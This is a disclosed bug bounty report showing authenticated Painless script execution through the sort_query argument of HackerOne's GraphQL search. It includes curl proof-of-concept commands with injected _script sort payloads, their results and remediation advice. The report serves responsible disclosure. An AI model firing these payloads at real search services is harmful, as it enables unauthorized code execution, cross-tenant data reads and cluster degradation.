HexBrain

HackerOne · Report #3694007

Authenticated Elasticsearch Painless script execution via Query.search.sort_query on hackerone.com/graphql

Validstatus
highseverity
$7,000bounty
174upvotes
17 Jun 2026disclosed

How it was found

Summary:

  • The sort_query: String argument on Query.search (hackerone.com/graphql) is passed to the downstream Elasticsearch cluster as the raw value of the sort parameter, without server-side schema validation, keyword allowlisting, or rejection of scripted sort directives.

  • I confirmed per-document Painless script execution by submitting two requests that differ only in the script.source field and observing that the script's return value determined document ordering.

  • The first request returned a constant sort key; the second read each document's internal _seq_no metadata field and returned it as the sort key. The result sets share zero overlapping documents in the first five positions, and the second request's ordering matches a known ascending-by-_seq_no baseline. This difference is only explainable by the Painless script compiling and executing per document against the doc context.

All testing was conducted against documents within my own authorization boundary (NotificationsIndex, scoped to my own notifications by a server-side user filter). The scripts I supplied did not read any user content, any foreign-tenant data, or any field beyond the _seq_no ES-internal metadata field.

Description:

  • URL: https://hackerone.com/graphql
  • Method: POST
  • GraphQL field: Query.search
  • Argument: sort_query: String
  • Index tested: NotificationsIndex

The following additional surfaces expose the same sort_query: String argument and are likely to share the vulnerability, but were not tested:

  • Query.search with other IndexEnum values (DuplicateDetectorReportsIndex, OpportunitiesIndex, CompleteHacktivityReportIndex, StoredQueriesIndex)
  • Organization.findings_search.sort_query: String

Steps To Reproduce

Environment assumptions

All PoC commands assume the same browser session as the production frontend:

# /tmp/h1.headers contents:
#   accept: */*
#   content-type: application/json
#   origin: https://hackerone.com
#   referer: https://hackerone.com/notifications
#   user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
#   x-csrf-token: <session CSRF token>
#   x-product-area: notifications
#   x-product-feature: overview
#
# $COOKIE contains the full authenticated cookie jar including __Host-session and cf_clearance.

Step 1 — Confirm session identity

curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
  --data-raw '{"query":"{me{_id username}}"}' | jq

Response:

{"data":{"me":{"_id":"████████","username":"brumbelow"}}}

Reporter-level account with no elevated privileges.

Step 2 — Confirm sort_query accepts raw Elasticsearch JSON

Before testing any scripting payload, I established that sort_query accepts arbitrary JSON sort specifications and that the sort takes effect on results.

# Field-based JSON sort — confirms JSON is parsed and sort is applied
curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" \
  --data-raw '{"query":"query{search(index:NotificationsIndex,query_string:\"*\",sort_query:\"[{\\\"id\\\":\\\"asc\\\"}]\",size:5){nodes{... on NotificationDocument{id}}}}"}' | jq

Response (abridged):

{
  "data": {
    "search": {
      "nodes": [
        {"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDQ1NDc2MzM="},
        {"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDg0NDY1MDQ="},
        {"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTY3MzcwOTQ="},
        {"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTczMDAwNDI="},
        {"id": "Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTc0NjczMDM="}
      ]
    }
  }
}

Decoded internal _id values: 404547633, 408446504, 416737094, 417300042, 417467303 — monotonically ascending, confirming JSON sort directives are parsed and applied by Elasticsearch.

I additionally confirmed object-shaped sort specifications (with nested order, mode, missing keys) are accepted:

for sq in \
  '[{"user_id":{"order":"desc"}}]' \
  '[{"user_id":{"order":"desc","missing":"_last"}}]' \
  '[{"created_at":{"order":"desc","mode":"max"}}]'; do
  q=$(jq -n --arg sq "$sq" '{query:"query($sq:String){search(index:NotificationsIndex,query_string:\"*\",sort_query:$sq,size:1){total_count}}", variables:{sq:$sq}}')
  printf '%-55s ' "$(echo "$sq" | head -c 53)"
  curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$q" \
    | jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)}'
  sleep 1.2
done

Response:

[{"user_id":{"order":"desc"}}]                        {"tc":716,"err":null}
[{"user_id":{"order":"desc","missing":"_last"}}]      {"tc":716,"err":null}
[{"created_at":{"order":"desc","mode":"max"}}]        {"tc":716,"err":null}

Note: total_count: 716 is the caller's personal notification count, confirming the result set is filtered to my own notifications by a server-side user filter applied prior to sort. All subsequent script testing occurred within this already-filtered result set.

Step 3 — Differential Painless compilation evidence

Compile-failure vs. compile-success probes isolate the behavior of _script clauses when the source is malformed vs. valid Painless. Same GraphQL query shape in all cases; only sort_query.script.source changes.

q='query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:1){total_count}}'

for sq in \
  '[{"_script":{"type":"number","order":"asc"}}]' \
  '[{"_script":{"type":"number","script":{"source":"","lang":"painless"},"order":"asc"}}]' \
  '[{"_script":{"type":"number","script":{"source":"\"unterminated","lang":"painless"},"order":"asc"}}]' \
  '[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]' \
  '[{"_script":{"type":"number","script":{"source":"1+1","lang":"painless"},"order":"asc"}}]'; do
  body=$(jq -n --arg q "$q" --arg sq "$sq" '{query:$q,variables:{sq:$sq}}')
  printf '%-95s ' "$(echo "$sq" | head -c 93)"
  curl -sk 'https://hackerone.com/graphql' -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" \
    | jq -c '{tc:.data.search.total_count, err:(.errors[0].message // null)[0:40]}'
  sleep 1.5
done

Observed results:

script.sourceResultPainless compile outcome
(no script key at all)HTTP 500 / STANDARD_ERRORn/a — malformed _script shape
"" (empty)HTTP 500 / STANDARD_ERRORcompile failure
"unterminated (invalid Painless)HTTP 500 / STANDARD_ERRORcompile failure
"1"HTTP 200, total_count: 716compile success
"1+1"HTTP 200, total_count: 716compile success

The 200/500 split tracks precisely with whether the source is valid Painless. Middleware performing only JSON-schema validation on sort_query could not differentiate these cases — all five payloads are structurally well-formed JSON with the same top-level keys. The only layer that distinguishes "empty string" and "unterminated string literal" from "1" is a Painless compiler reached with the attacker-controlled source.

Step 4 — Differential per-document execution evidence

Two requests differing only in the value of script.source. Both select edges { cursor node { id } } to capture ordering. If the script in Request B executes per document, reading doc["_seq_no"].value, the ordering will differ from the constant-return Request A.

q='query($sq:String){search(index:NotificationsIndex,query_string:"*",sort_query:$sq,size:5){edges{cursor node{__typename ... on NotificationDocument{id}}}}}'

# Request A — baseline, constant return
sq_A='[{"_script":{"type":"number","script":{"source":"1","lang":"painless"},"order":"asc"}}]'

# Request B — per-document field read
sq_B='[{"_script":{"type":"number","script":{"source":"doc[\"_seq_no\"].value","lang":"painless"},"order":"asc"}}]'

echo "=== Request A (constant return) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_A" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeA_headers 'https://hackerone.com/graphql' \
  -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeA_body.json \
  | jq -c '.data.search.edges | map(.node.id)'
grep -i '^x-request-id' /tmp/probeA_headers

sleep 2

echo "=== Request B (per-doc field read) ==="
body=$(jq -n --arg q "$q" --arg sq "$sq_B" '{query:$q,variables:{sq:$sq}}')
curl -sk -D /tmp/probeB_headers 'https://hackerone.com/graphql' \
  -H @/tmp/h1.headers -b "$COOKIE" --data-raw "$body" | tee /tmp/probeB_body.json \
  | jq -c '.data.search.edges | map(.node.id)'
grep -i '^x-request-id' /tmp/probeB_headers

Request A response (source: "1"):

x-request-id: 308106dc-dc26-479f-8bab-eba02d6591c1

First 5 document id values (decoded from base64 Relay global IDs):

PositionBase64 idDecoded _id
1Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NTExOTAzOTM=451190393
2Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MzM1NzE4MDI=433571802
3Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NDQ2NTE1ODI=444651582
4Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NDQ3NzMxMjE=444773121
5Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80NDUwNjcxMTg=445067118

Request B response (source: "doc[\"_seq_no\"].value"):

x-request-id: c2daf19b-11e7-4f98-b608-44c42f52374a

First 5 document id values:

PositionBase64 idDecoded _id
1Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDQ1NDc2MzM=404547633
2Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MDg0NDY1MDQ=408446504
3Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTY3MzcwOTQ=416737094
4Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTczMDAwNDI=417300042
5Z2lkOi8vaGFja2Vyb25lL05vdGlmaWNhdGlvbnNJbmRleC80MTc0NjczMDM=417467303

Analysis

The two result sets share zero overlapping documents in the first five positions. Request B's ordering is strictly monotonically ascending by _id, and matches exactly the ordering obtained in Step 2 via the known-good sort_query: '[{"id":"asc"}]' (same first five IDs in the same order).

In Elasticsearch, _seq_no is a per-document sequence number assigned at indexing time and increases monotonically with insertion order. Sorting the caller's earliest-indexed notifications ascending by _seq_no therefore produces the same order as ascending by their internal _id.

For Request B's ordering to arise, the Painless script must have:

  1. Been compiled (consistent with the Step 3 compile-success result for valid sources)
  2. Been invoked once per document in the result set during the Elasticsearch sort phase
  3. Successfully read each document's _seq_no value via the doc context
  4. Returned that value as the sort key for its document

If the _script sort clause were being silently dropped upstream of Elasticsearch, or if Painless were compiling the source but discarding the output, Request B would have produced the same ordering as Request A. It did not — the orderings have no overlap.

This is direct evidence of per-document Painless script execution on the HackerOne production Elasticsearch cluster, triggered by a single authenticated GraphQL request from a reporter-level account.

Scope of testing

I deliberately restricted testing to the minimum evidence required to establish execution:

  • Scripts submitted were "1", "1+1", "3+4", "doc[\"_seq_no\"].value", and intentionally-malformed variants. No field reads other than _seq_no, no method calls beyond .value, no stdlib usage, no parameters, no loops, no I/O.
  • _seq_no is an ES-internal metadata field present on every document. It is not user data, program data, or tenant data.
  • All probes ran against my own authenticated session's result set in NotificationsIndex (716 documents, all mine by server-side user filter).
  • I did not test sandbox boundaries (filesystem, environment, network, reflection).
  • I did not read any user data belonging to any other account.
  • I did not test cross-tenant access or document-authorization bypass.
  • I did not test other indices (DuplicateDetectorReportsIndex, OpportunitiesIndex, CompleteHacktivityReportIndex, StoredQueriesIndex) or other sort_query-exposing resolvers (Organization.findings_search).
  • I ceased all probing against hackerone.com/graphql immediately upon confirming per-document execution in Step 4.

Optional: Supporting Material/References (Screenshots)

Showing script execution with above example: ████████

Suggested remediation:

  • Remove the sort_query: String argument from Query.search. The typed sort: SortInput argument already serves the frontend's documented use cases. If richer sort expressions are required, expose a structured, schema-validated GraphQL input type rather than a free-form string.
  • Apply the same treatment to Organization.findings_search.sort_query: String and any other resolver that exposes a free-form sort_query argument.

Impact

Describe impact here. Painless execution inside the ES JVM process grants code execution on the infrastructure that indexes HackerOne's platform data. The types reachable through Query.search (via the DocumentUnion schema union) include:

  • ReportDocument, FindingDocument, HacktivityDocument — report content
  • NotificationDocument — notification content
  • OpportunityDocument — program metadata
  • StructuredScopeDocument — program scope definitions
  • AssetDocument — asset inventory
  • OrganizationMemberDocument, OrganizationMemberGroupDocument — organization membership
  • AnalyticsGatewayHttpStreamDocument — captured HTTP traffic metadata
  • StoredQueryDocument — saved queries

Confidentiality impact is the most immediate concern even if the Painless sandbox blocks filesystem and network access: _script sort executes within the Elasticsearch query phase, before any GraphQL resolver-layer authorization filter. A script reading doc['<field>'].value sees fields on documents that are about to be scored or sorted — which includes documents the caller is not authorized to read at the resolver layer, if an index is not partitioned per-tenant at the ES level.

I have not verified whether cross-tenant document access is possible, and I will not. That investigation should be performed by HackerOne's internal team.

In addition, Painless sort scripts are user-controlled code executed per document in the result set; adversarial scripts with deep loops, large allocations, or expensive computations can degrade the shared Elasticsearch cluster.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original